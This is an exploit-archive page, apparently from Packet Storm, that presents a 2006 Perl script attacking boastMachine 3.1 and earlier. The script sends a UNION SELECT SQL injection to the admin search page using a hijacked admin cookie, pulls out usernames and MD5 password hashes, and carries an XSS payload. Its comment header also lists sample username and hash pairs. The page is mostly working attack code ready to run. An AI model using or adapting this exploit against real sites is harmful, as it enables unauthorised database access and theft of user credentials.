what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

boastMachineSQL.txt

boastMachineSQL.txt
Posted Jul 20, 2006
Authored by DarkFig

boastMachine versions 3.1 and below remote SQL injection exploit that also demonstrates a cross site scripting vulnerability.

tags | exploit, remote, xss, sql injection
SHA-256 | 732b0fa3568c40d35435ef55b2e9eef6b65e90306bba137361a2493f1cd0ddb9

boastMachineSQL.txt

Change Mirror Download
#!/usr/bin/perl
#
# VulnScr: boastMachine version 3.1 and prior
# Web: http://boastology.com/
#
# Date: Sun July 16 10:43 PM 2006
# Credits: DarkFig (gmdarkfig@gmail.com)
# Vuln: SQL Injection, Cross Site Scripting, Cross Site Request Forgery, Predictable Backup Filename
# Advisory: http://www.acid-root.new.fr/advisories/boastmachine.txt (French)
# Required: Admin cookie (user+hash) (You can have it with the XSS)
#
# +-------------------------------------------+
# | boastMachine <= 3.1 SQL Injection Exploit |
# +-------------------------------------------+
# root::95f44e0321ed96ba9d2961a54daab05e
# darkfig::547bbdedb2a1df8a1422b58e1eaa2111
# dapowa::0b76dc1c5bb6c0267aa89fcea5f95bb6
#
use IO::Socket;

print STDERR "+-------------------------------------------+\n";
print STDERR "| boastMachine <= 3.1 SQL Injection Exploit |\n";
print STDERR "+-------------------------------------------+\n";

if(!$ARGV[3]) {
print STDERR "| Usage: <host> <path> <admin> <md5hash> ---|\n";
print STDERR "+-------------------------------------------+\n";
exit();
}

my($host,$path,$admin,$hash) = ($ARGV[0], $ARGV[1], $ARGV[2], $ARGV[3]);

my $sock = IO::Socket::INET->new(
PeerAddr => $host,
PeerPort => 80,
Proto => 'tcp',
);
my $data = "do=search&action=search&blog=1' UNION SELECT user_pass,user_login FROM bmc_users%23&cat_list=<script>alert(666)</script>";
my $leng = length($data);

print $sock "POST $path"."bmc/admin.php HTTP/1.1\r\n";
print $sock "Host: $host\r\n";
print $sock "Referer: http://localhost/bmachine/bmc/admin.php?action=search&blog=\r\n";
print $sock "Cookie: BMC_user=${admin}; BMC_user_password=${hash}\r\n";
print $sock "Content-Type: application/x-www-form-urlencoded\r\n";
print $sock "Content-Length: $leng\r\n\n";
print $sock "$data\r\n\n";

while($answ = <$sock>) {
if($answ =~ /<option value="(\S*)">(\S*)<\/option>/) {
if(length($1) eq 32) {
print STDERR $2."::".$1."\n";
}}
if($answ =~ /<option value="title">/) { last; }
}
$sock->close();
exit();
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close